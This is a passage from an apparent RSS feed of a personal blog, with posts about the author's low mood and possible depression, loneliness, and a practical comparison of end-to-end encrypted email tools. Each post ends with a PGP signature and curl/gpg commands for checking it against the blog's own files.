a/&#43;sOpjI2bGgTCW6P2r97PaXyde9Itkdp0LBN2JfkXfmzdY1JdjPdaNmUZuY3N6J
HO4MfBUYX33RLmq/CSDm5wzOQRi1O9wt63CWJzzsZuZACbmuJ0gZHYM5JIBHXtnZ
wgdtfu31ulnFPVfoIVjCCcN80kWlh671ONKQTZOysknFonm5pIUJnOcCQ4S3HfIm
Of5kojUQegInp84ju4yYKCMh115yB05XTyrhf62NouGQVGSBmNBwgFZe4kbfqZ4w
xsAfFOpk6niLqZTX1NmgaXeBcalFU2yOzIEH4dXu7OSZmN3UUznAxw4SciD0&#43;HW&#43;
T7RjrniAIgX3fFlqIexoDbCa6T2g8Gd00zBzHG65pO4mwAuFL4KB0xLU8KIz6L7M
aMFcFVAuq8GdqBbn6mRQ3UwFkOIjq&#43;WbAgvxDJprxI9jBafm6IVXrISyHx0mYfnP
OAFDAL768GiHQz7LIB/lLa0qAT6Hs28JZ3/czfGPwVNthFp8tA0=
=bk46
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/house_upgrade.md
curl -fSLO https://blog.alipour.eu/sources/posts/house_upgrade.md.asc
gpg --verify house_upgrade.md.asc house_upgrade.md
  </pre>
</div>


]]></content:encoded></item><item><title>The Loop of Doom</title><link>https://blog.alipour.eu/posts/loop_of_doom/</link><pubDate>Fri, 07 Nov 2025 13:45:52 +0000</pubDate><guid>https://blog.alipour.eu/posts/loop_of_doom/</guid><description>&lt;p>It all started after I came back from my trip to Turkey. I was actually doing really good the first three weeks, or at least I think so. Actually, looking back at it, I maybe wasn&amp;rsquo;t. Well I had to take like two exams and studied for them, but that was also not good enough. I have not really been able to focus on my work and studies lately. I&amp;rsquo;ve been feeling more down, sad, exhausted. I&amp;rsquo;ve been wanting to stay alone at home. To rest. And then I get stressed and sad because I&amp;rsquo;m not doing anything. I get the feeling of worthlessness a lot lately. It&amp;rsquo;s exhausting.&lt;/p></description><content:encoded><![CDATA[<p>It all started after I came back from my trip to Turkey. I was actually doing really good the first three weeks, or at least I think so. Actually, looking back at it, I maybe wasn&rsquo;t. Well I had to take like two exams and studied for them, but that was also not good enough. I have not really been able to focus on my work and studies lately. I&rsquo;ve been feeling more down, sad, exhausted. I&rsquo;ve been wanting to stay alone at home. To rest. And then I get stressed and sad because I&rsquo;m not doing anything. I get the feeling of worthlessness a lot lately. It&rsquo;s exhausting.</p>
<p>Funny how I loved my research, the group, the people, hanging out, trying new things. It&rsquo;s just funny how everything changed all of the sudden. How I don&rsquo;t feel anything anymore. How sad I&rsquo;ve been. How down I&rsquo;ve been. My cognitive functions, my memory and everything has been also badly damaged. It&rsquo;s just horrible.</p>
<p>I&rsquo;ve been also overthinking about my interactions and relationships with people, how they look at me, how they judge me, how they feel about me. And for some reason I tend to care a lot. This has also been extremely exhausting to me.</p>
<p>I was reading about Major Depressive Disorder (MDD) last week. I brought it up in my therapy session too. My therapist said &ldquo;why do you want to label things?&rdquo;.</p>
<p>This is actually a really valid question. I don&rsquo;t know why, maybe because it helps me think about it less? I can put a label on it and store it somewhere in my brain? Maybe. Idk.</p>
<p>This is what I call the loop of doom. MDD. I don&rsquo;t even know if I&rsquo;m experiencing it or not. All I know is that things are not right, and I don&rsquo;t feel well.</p>
<p>Now here is the problem. You start not performing well, then you hate yourself for not performing well, then you take it harder to yourself and it doesn&rsquo;t work, then you hate yourself more, and it repeats and repeats until you are completely disfunctional. Most cases that get stuck in MDD get suicidal thoughts which is horrible. Thinking about a quick relief for yourself is just forgetting the values you bring to the world.</p>
<p>I&rsquo;m happy that I&rsquo;ve not been thinking about these things, the scary things. But this is the first thing doctors ask you. Just to make sure.</p>
<p>It&rsquo;s sad because I can see it in my monthly reports, in the <a href="https://blog.alipourimjourneys.ir/phd_journey/">PhD_journey</a> page of my blog. I can see how bad last month was, and I know this month has not been any better. It&rsquo;s just scary, and sad. I know I&rsquo;m losing precious time that I cannot get back. I know at some point I&rsquo;m expected to deliver results that I won&rsquo;t have, and I know I won&rsquo;t like myself when this inevitable happens.</p>
<p>I really do not know what to do. I contacted my thrapist again today to see if he can help me or not. Let me list some stuff I&rsquo;ve been told to do by my brother in the meanwhile:</p>
<ul>
<li>Going for short walks</li>
<li>Doing small tasks that make me feel good</li>
<li>idk&hellip; I don&rsquo;t remember anything else.</li>
</ul>
<p>ChatGPT also gave me some advice, I&rsquo;ll copy it here:</p>
<pre tabindex="0"><code class="language-markdown=" data-lang="markdown="># 14‑Day Reset — Daily Checklist

**Name:** _____________________  **Start date (Day 1):** ______________  **Wake time target:** ________

### How to use (60 seconds)

* Each day, check **two tiny tasks**: one **Study MRD** and one **Work/Code MRD** (≤15 min each).
* Do **2 short sprints** (start at 10 min on / 2 min off). Stop when the timer ends.
* Log the **evening 2‑minute check‑in** in the table (mood, sleep, meds, sprints, one win).
* If no improvement by **Day 7**, escalate with your prescriber; reassess again on **Day 14**.

### Define today’s Minimum Reliable Dose (MRD)

*(Write clear, tiny actions with a start line → action → done proof.)*

* **Study MRD:** ________________________________________________________________
* ---
* **Work/Code MRD:** ____________________________________________________________
* ---

---

### Daily tracker (14 days)

| Day/Date                   | Outside 10–15m | Study MRD | Work MRD | Sprints (0/1/2) | Mood 0–10 | Sleep hrs | Meds Y/N | One win / Notes                |
| -------------------------- | :------------: | :-------: | :------: | :-------------: | :-------: | :-------: | :------: | ------------------------------ |
| 1 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
| 2 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
| 3 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
| 4 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
| 5 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
| 6 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
| **7 / ____ (Checkpoint)**  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | **PHQ‑9 today = ____**         |
| 8 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
| 9 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
| 10 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
| 11 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
| 12 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
| 13 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
| **14 / ____ (Checkpoint)** |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | **PHQ‑9 today = ____**         |

---

### Quick reference

**Paper — 12‑min read:** 3 min skim (title/abstract/figures/conclusion) → 7 min one figure + its paragraph → 2 min 3 bullets (Claim / Evidence / Open question).

**Code — restart protocol:**

1. Open repo → `git status` → run tests/linter → open last‑changed file.
2. Choose **one smallest step** (≤10 min): e.g., add a failing test, reproduce a bug, rename a variable, add a log.
3. **Stuck 3‑step (2 min each):** talk it out / write exact error → minimal repro or tiny test → read one doc page. If still stuck after ~15–20 min, park it with the **next guess**.

---

### Safety net (Germany)

* **Emergency:** 112
* **TelefonSeelsorge (24/7):** 0800 111 0 111 · 0800 111 0 222 · 116 123
  If risk rises (can’t stay safe, intense agitation/akathisia), seek same‑day care.
</code></pre><p>Lmao. I wonder how things will progress in the future, and how I&rsquo;ll do. Was it really because of a failed relationship? Really? Something that never happened? I don&rsquo;t believe it, it&rsquo;s not possible. Or was it because I had the feeling of being used, and thrown away. Maybe if I kept contact I wouldn&rsquo;tve these feelings. Maybe, just maybe.</p>
<p>But I do feel many many other bad things also happened. Like me not getting good grades in two of my courses (both of which turned out to be outliers, with one only 20% passing the course(!) and the other having a much worse average that previous exam iterations). My paper also got rejected. My research was criticized and shat on heavily. And I felt lonely a lot since I wasn&rsquo;t being invited to many things other people were. I gained a lot of weight. I lost few friendships I wanted to keep. Some people I cared about started to hate me. And some of the people I considered as friends kept not including me in their plans, making me nervous that things are not right.</p>
<p>Darn. That is a lot. Lot of bad things. Back to back to back.</p>
<p>Ok. Let&rsquo;s break the loop. How can I do that? Maybe by starting new habits? By going to gym at nights? By eating healthier? By losing  weight? By taking baby steps in literature review and my code? By organizing fun things with people? Idk. I really don&rsquo;t. But I will figure it out and make it work. I have to. I ain&rsquo;t, and I wasn&rsquo;t brought up like this. Let&rsquo;s fleaping go&hellip;</p>
<p>I try to keep ya&rsquo;ll, the empty list of people, updated.</p>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/loop_of_doom.md">Markdown</a> ·
    <a href="/sources/posts/loop_of_doom.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
jSq5fw/&#43;OIEZpkK2C&#43;NVLDU7fRma6IMFlq/XcJIFuC416au47cTEhETuvWGMCvo1
uzwHMPamUdBUtZkK7Lk0RbzOFWo&#43;ru4vtmcKe2XZoRUTUofB5&#43;rPkPLz4OzoIyLX
mvrCb91MbWC3pB176Ul83HBe/797QzFTsDiFw3cDtHB2yOeVY5zNejttdbwqMLyK
g7lbDCDf1GqtrNRgs1KqV0T9qoOesP9yhxXN/eIbaAUc8OIPUsBMB6/LG&#43;RWtycp
X6iSBX30MfDo6DCpTncowKs8/4Plv30oIgsqLJlKK7Gd5IamYxtmoWeOSj15BT4n
TCn/G1olSfsnREX9/rY9xipTQDO0KaQNqG7q0y4gFvAE/C5ur5G5V6TtesDTEvLv
bNNrRuF/0&#43;t9EOkJFvo1dCnuPLd/Ufl7BI4Yc1QErMODp6g8LoU2PRHTUJZCK9hK
PgS93JpDpYhURaH1f18b1YLgpEbIAR&#43;AcwTlljeU8fVicHwbH0/vP9igASAJKJC6
2JheKwf1G2pFxMYfGus1evdHbKHS44s3xNF8pITFrTeUE/1CH&#43;JBWRoyCjGgNsOA
XHDIDxFNuZFZYIhUk6wDhYTKrQiVATCubtBNgUaIZutL6SBzHFCxhknbBdKpFxc1
f7BJMvRa6uQco/ySzaVW8Zl14zaIXhZW1dpmitSuVDbnufkHhhU=
=Cuma
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/loop_of_doom.md
curl -fSLO https://blog.alipour.eu/sources/posts/loop_of_doom.md.asc
gpg --verify loop_of_doom.md.asc loop_of_doom.md
  </pre>
</div>


]]></content:encoded></item><item><title>Cupid is so dumb</title><link>https://blog.alipour.eu/posts/cupid/</link><pubDate>Tue, 04 Nov 2025 19:35:16 +0000</pubDate><guid>https://blog.alipour.eu/posts/cupid/</guid><description>&lt;p>The lyrics are being played in my brain day and night.&lt;/p>
&lt;p>&amp;ldquo;A hopeless romantic all my life&amp;rdquo;&lt;/p>
&lt;p>&amp;ldquo;Surrounded by couples all the time&amp;rdquo;&lt;/p>
&lt;p>&amp;ldquo;I guess I should take it as a sign&amp;rdquo;&lt;/p>
&lt;p>But&amp;hellip; &amp;ldquo;I gave a second chance to Cupid&amp;rdquo;&lt;/p>
&lt;p>&amp;ldquo;But now I&amp;rsquo;m left here feelin&amp;rsquo; stupid&amp;rdquo;&lt;/p>
&lt;p>I might&amp;rsquo;ve given more than two chances to cupid.&lt;/p>
&lt;p>But I&amp;rsquo;m still left here felling&amp;rsquo; stupid.&lt;/p>
&lt;p>&amp;ldquo;I look for his arrows every day&amp;rdquo;&lt;/p></description><content:encoded><![CDATA[<p>The lyrics are being played in my brain day and night.</p>
<p>&ldquo;A hopeless romantic all my life&rdquo;</p>
<p>&ldquo;Surrounded by couples all the time&rdquo;</p>
<p>&ldquo;I guess I should take it as a sign&rdquo;</p>
<p>But&hellip; &ldquo;I gave a second chance to Cupid&rdquo;</p>
<p>&ldquo;But now I&rsquo;m left here feelin&rsquo; stupid&rdquo;</p>
<p>I might&rsquo;ve given more than two chances to cupid.</p>
<p>But I&rsquo;m still left here felling&rsquo; stupid.</p>
<p>&ldquo;I look for his arrows every day&rdquo;</p>
<p>&ldquo;I guess he got lost or flew away&rdquo;</p>
<p>But does it matter anymore?
It shouldn&rsquo;t. It really shouldn&rsquo;t.</p>
<p>Now all these jokes aside, today I went to Mensa with my group. When eating, I saw a group of people who I&rsquo;ve been trying to hang out with, and every time they tell me they let me know to join them, but today I saw them, they hadn&rsquo;t told me.</p>
<p>Funny how my mind jumps to conclusions quickly. Funny how I feel left alone so quickly. Or maybe it isn&rsquo;t funny, idk. What I do know however is that I&rsquo;m hurt. There is a bit more to the story than that, but I don&rsquo;t want to open it up. It&rsquo;s way too personal to be opened.</p>
<p>The thing is, all of this is just badly affecting me. I cannot really focus on my work, and studies. Maybe I should consider doing more home office? Idk. It could be good though.</p>
<p>I&rsquo;ve been trying to jump from one addiction to another, just to calm my senses, just to forget, just to move on.</p>
<p>I started with ordering unhealthy food from Uber, eating Tuna and Rice, skipping breakfast, watching crap on Youtube, but none of it help. I then went to thm, that has been helping a bit, but not enough.</p>
<p>I need to be productive at work, I need to take care of my health, I know if I do these, I will feel better about myself and this MDD will go away. Or at least I hope.</p>
<p>For now all I know is that I&rsquo;m stuck in MDD, and I cannot get out of it. I&rsquo;m glad suicidal thoughs are off the table. I&rsquo;m just glad. They only thing I see is darkness, but I know it will change. The sun will rise. That reminds me, is the wind rising? No? Yes? If so, we need to live.</p>
<p>I think this is just so painful to me in the sense that I don&rsquo;t really have many friends that I consider as friends, and I&rsquo;m being left alone from some groups that I don&rsquo;t necesserially wanna be a part of. But oh well, I should not care.</p>
<p>Credit: Cupid by FIFTY FIFTY</p>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/cupid.md">Markdown</a> ·
    <a href="/sources/posts/cupid.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
jSqXgxAApA2BHjsOLD5510SG/O8FGU5fI6Mh9wa&#43;CzLQY5UgxMloPUPb7wt0PeUf
CpBM/jHD6O86DkqppGJNAXHdt/X1bpQeMr0jfXctWijWUhiyDxY/eLId7&#43;GF9IUv
YFCTA4Rff7kAbczDMpb2Tj4ZGSJNCAnHtxbzRN23WHY5SX36WZr0Kg496Z/ndxNa
2RWo2WA0w9PIvb/rv77&#43;fOx5g7P1Ap&#43;mpFHOYAOeQ3PuHPLTSOrldEZDgr0diYMl
HFzs8K0CXUJnW0KaLtfUxEsJEs9nIgoAN3m/xUWCiZEe2fbEYJ/kUArtAJLtEV3r
ulcY1NPAuRWbcFdIWYQoD6N9Kxev0e6rvX5kkt3MslV4fAvIXq9TmROOd9i8d6W7
oKcf7IO8MJNs4l3&#43;990pvEzu0X9IHdv7GUIf6DQQ15VG3HLBMHzaqDu5fxIGUyz1
wJj1Vd18yXkOLCNIdOkQVr5wuZida6/1V8qgMNg5mO/t0bXPvmweqwd4tCy1XErm
7d9nIEcGk9dQBuVKJUT0XVN/q3whNFeQmbaoq&#43;Tl/MSNQVfwTbxBMkGxmLQwEWY9
mUD&#43;FKlzeyJSaWc0MylcnbtkCQnICWw2mR33NuqPHA2RIrCy49ArrPXXPrIZqOf/
91kzN5JeoMvwawhIt9N8&#43;nPGUOs3RTy&#43;qHk9L7DHhtAycdFqm/c=
=sXgB
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/cupid.md
curl -fSLO https://blog.alipour.eu/sources/posts/cupid.md.asc
gpg --verify cupid.md.asc cupid.md
  </pre>
</div>


]]></content:encoded></item><item><title>Sending End‑to‑End Encrypted Email (E2EE) without losing friends</title><link>https://blog.alipour.eu/posts/e2ee/</link><pubDate>Thu, 30 Oct 2025 00:00:00 +0000</pubDate><guid>https://blog.alipour.eu/posts/e2ee/</guid><description>A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.</description><content:encoded><![CDATA[<p>If you’ve ever thought “I should really send this <strong>securely</strong>” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a <strong>usable</strong> path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.</p>
<blockquote>
<p>Honestly, I don&rsquo;t know why one would settle down for a paid option, but if you want to, then be my guest.</p></blockquote>
<h2 id="why-people-dont-use-e2ee-email-and-why-you-still-should">Why people <em>don’t</em> use E2EE email (and why you still should)</h2>
<p>Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.</p>
<p>But the <strong>upsides</strong> are huge: true confidentiality of message content and attachments, stronger <strong>authenticity</strong> (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to <strong>hesitate</strong> before sending, it probably matters enough to encrypt.</p>
<p>I mean, generally speaking one can use e2ee for anything, and not just email, but doesn&rsquo;t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you&rsquo;re good to go!</p>
<h2 id="the-contenders-and-how-they-feel-to-use">The contenders (and how they feel to use)</h2>
<h3 id="proton-mail-consumerfriendly-great-crossprovider-story">Proton Mail (consumer‑friendly, great cross‑provider story)</h3>
<p>Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a <strong>password‑protected message</strong> that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.</p>
<p><strong>Prices (personal):</strong> Free tier exists; paid tiers like <strong>Mail Plus</strong> and <strong>Proton Unlimited</strong> add storage, custom domains, and Proton Bridge for desktop clients. Expect <strong>single‑digit € per month</strong> for personal use; business plans are per‑user.<br>
<strong>How to use:</strong> Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can <strong>reply securely</strong> in the web portal—even without an account.<br>
<strong>Ups:</strong> Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.<br>
<strong>Downs:</strong> Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.</p>
<p>Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It&rsquo;s easy to use, and fun to show off.</p>
<h3 id="tuta-formerly-tutanota-privacy-maximalist-subjectline-encryption">Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption)</h3>
<p>Tuta offers automatic E2EE between Tuta users and <strong>password‑protected emails</strong> to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including <strong>subject lines</strong>—and the whole suite is open‑source and auditable.</p>
<p><strong>Prices (personal &amp; business):</strong> Free plan plus personal tiers (e.g., <strong>Revolutionary</strong>, <strong>Legend</strong>) and business tiers (<strong>Essential/Advanced/Unlimited</strong>). Personal is typically <strong>low single‑digit €/month</strong>; business is <strong>per‑user, per‑month</strong>.<br>
<strong>How to use:</strong> Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.<br>
<strong>Ups:</strong> Max privacy posture; encrypted subjects between Tuta users; clean apps.<br>
<strong>Downs:</strong> Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.</p>
<p>I was introduced to this one literally for writing this post, I had no idea it existed before.</p>
<h3 id="gmail-with-clientside-encryption-cse-for-organizations-on-google-workspace">Gmail with <strong>Client‑Side Encryption</strong> (CSE) (for organizations on Google Workspace)</h3>
<p>If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—<strong>keys stay with your organization</strong>. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.</p>
<p><strong>Prices:</strong> CSE is available on certain Workspace editions (e.g., <strong>Enterprise Plus</strong>, <strong>Education Standard/Plus</strong>, <strong>Frontline Plus</strong>). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.<br>
<strong>How to use:</strong> Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.<br>
<strong>Ups:</strong> Seamless for employees; centralized key control; good audit/compliance story.<br>
<strong>Downs:</strong> Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.</p>
<p>I mean&hellip; how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won&rsquo;t. Not with the emails that matter to me.</p>
<h3 id="outlook--apple-mail-with-smime-classic-enterprise-path">Outlook / Apple Mail with <strong>S/MIME</strong> (classic enterprise path)</h3>
<p>S/MIME uses <strong>X.509 certificates</strong> instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.</p>
<p><strong>Prices:</strong> The tech is built in; costs come from <strong>certificates</strong>. Orgs often issue them internally; public CA prices vary.<br>
<strong>How to use:</strong> Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.<br>
<strong>Ups:</strong> Great inside enterprises; MDM‑friendly; widely supported.<br>
<strong>Downs:</strong> Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.</p>
<p>Ok. Is there that big of a difference between these and Gmail? Idk. I ain&rsquo;t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.</p>
<h3 id="thunderbird--openpgp-free-powerful-nerdapprovednow-usable">Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable)</h3>
<p>Thunderbird bakes in <strong>OpenPGP</strong> and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports <strong>protected headers/subject encryption</strong> so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.</p>
<p><strong>Prices:</strong> Free.<br>
<strong>How to use:</strong> Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.<br>
<strong>Ups:</strong> Full control, open source, works with any provider via IMAP/SMTP; subject protection available.<br>
<strong>Downs:</strong> Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.</p>
<p>This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don&rsquo;t have iOS app which sucks, idk about Android.</p>
<h3 id="browser-addons-mailvelope--flowcrypt-bring-e2ee-to-webmail">Browser add‑ons: Mailvelope &amp; FlowCrypt (bring E2EE to webmail)</h3>
<p>If you’re welded to webmail, add‑ons can meet you where you live. <strong>Mailvelope</strong> brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. <strong>FlowCrypt</strong> focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.</p>
<p><strong>Prices:</strong> Mailvelope is free/open‑source. FlowCrypt has a generous free tier with <strong>paid enterprise features</strong> for teams.<br>
<strong>How to use:</strong> Install the extension → create/import keys → compose in a secure editor injected into your webmail.<br>
<strong>Ups:</strong> Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.<br>
<strong>Downs:</strong> Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells &amp; whistles than a full desktop client.</p>
<p>Just no. Don&rsquo;t trust add-ons. Please.</p>
<h2 id="so-which-should-you-use">So… which should <em>you</em> use?</h2>
<p>If you need to send a one‑off encrypted message to a <strong>non‑technical person</strong>, Proton or Tuta’s <strong>password‑protected email</strong> is the friendliest: they click a link, enter the password you shared elsewhere, and can <strong>reply securely</strong> even without an account. For a <strong>company already on Google Workspace</strong>, turn on <strong>Gmail CSE</strong> so people don’t juggle keys. If you’re a <strong>power user</strong> or want provider‑agnostic control, go with <strong>Thunderbird OpenPGP</strong>—it’s free, modern, and interoperable. And if you won’t leave the web, try <strong>Mailvelope</strong> or <strong>FlowCrypt</strong> to bolt E2EE onto the inbox you already use.</p>
<p>Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.</p>
<h2 id="a-note-on-what-e2ee-hides-and-what-it-doesnt">A note on what E2EE hides (and what it doesn’t)</h2>
<p>End‑to‑end encryption protects the <strong>body</strong> and <strong>attachments</strong>. Across the wider email network, <strong>metadata like From/To and delivery timestamps</strong> remain visible by design. Subjects may also be visible unless your tools use <strong>protected headers</strong> (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide <em>everything</em>, email might not be the right tool—reach for Signal or Matrix instead.</p>
<h2 id="quick-price--fit-at-a-glance">Quick price &amp; fit-at-a-glance</h2>
<table>
  <thead>
      <tr>
          <th>Option</th>
          <th>Best fit</th>
          <th>Personal price vibe</th>
          <th>Notes</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Proton Mail</td>
          <td>Everyday private email + easy messages to anyone</td>
          <td>Free; personal paid tiers in <strong>single‑digit €/mo</strong>; business per‑user</td>
          <td>Password‑protected emails to non‑Proton; PGP support</td>
      </tr>
      <tr>
          <td>Tuta</td>
          <td>Privacy‑max email; encrypted subjects in‑ecosystem</td>
          <td>Free; personal low <strong>€/mo</strong>; business per‑user</td>
          <td>Password‑protected emails to non‑Tuta; open source</td>
      </tr>
      <tr>
          <td>Gmail CSE</td>
          <td>Orgs on Google Workspace</td>
          <td>Included with <strong>Enterprise Plus/Education/Frontline</strong> editions</td>
          <td>Admin setup + external‑recipient flow</td>
      </tr>
      <tr>
          <td>S/MIME (Outlook/Apple Mail)</td>
          <td>Enterprises with IT/MDM</td>
          <td>Software built‑in; <strong>cert costs vary</strong></td>
          <td>Smooth inside one org; cert exchange needed across orgs</td>
      </tr>
      <tr>
          <td>Thunderbird OpenPGP</td>
          <td>Provider‑agnostic power users</td>
          <td>Free</td>
          <td>Can encrypt subjects via protected headers</td>
      </tr>
      <tr>
          <td>Mailvelope / FlowCrypt</td>
          <td>Must stay on webmail</td>
          <td>Free / <strong>paid enterprise</strong> options</td>
          <td>PGP in the browser; good stepping stone</td>
      </tr>
  </tbody>
</table>
<h2 id="the-60second-starter-packs">The 60‑second starter packs</h2>
<p><strong>Proton/Tuta for one‑offs:</strong> create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.</p>
<p><strong>Thunderbird for everything else:</strong> install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.</p>
<hr>
<h2 id="shower-thoughts"><strong>Shower thoughts</strong></h2>
<p>So, why did I mention any of this?
Aside from the fact that I do believe e2ee email should become defacto, and I don&rsquo;t know why it isn&rsquo;t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.</p>
<p>A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home.
The thing is, people might not use them because they don&rsquo;t trust them.</p>
<p>The question I had was different.
Assuming that the service is reliable, why can&rsquo;t we use it and protect ourselves while doing so?</p>
<p>In hindsight this seems stupid.
But listen to me.
If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly &ldquo;untrusted&rdquo; medium, why wouldn&rsquo;t you be able to use it?
The only, and oh well, biggest problem is key exchange.
Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it&rsquo;s a way.
And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key.
Like via a quick short call.
They can also be faked, but let&rsquo;s not go that extreme.
Also if many do it, it&rsquo;s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.</p>
<p>Idk how stupid the thing I&rsquo;m suggesting is, but I wonder if it can be done or not. I don&rsquo;t know if I&rsquo;m willing to spend my free time on it or not, but I though I should share the idea to at least know if it&rsquo;s stupid and wrong or not.</p>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/e2ee.md">Markdown</a> ·
    <a href="/sources/posts/e2ee.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN
z&#43;xZGP&#43;orZYA3hUJtJFwKY3f6Lc&#43;H0&#43;rmPq/qwhdlyooASpap3G9n6Lh09vrimSl
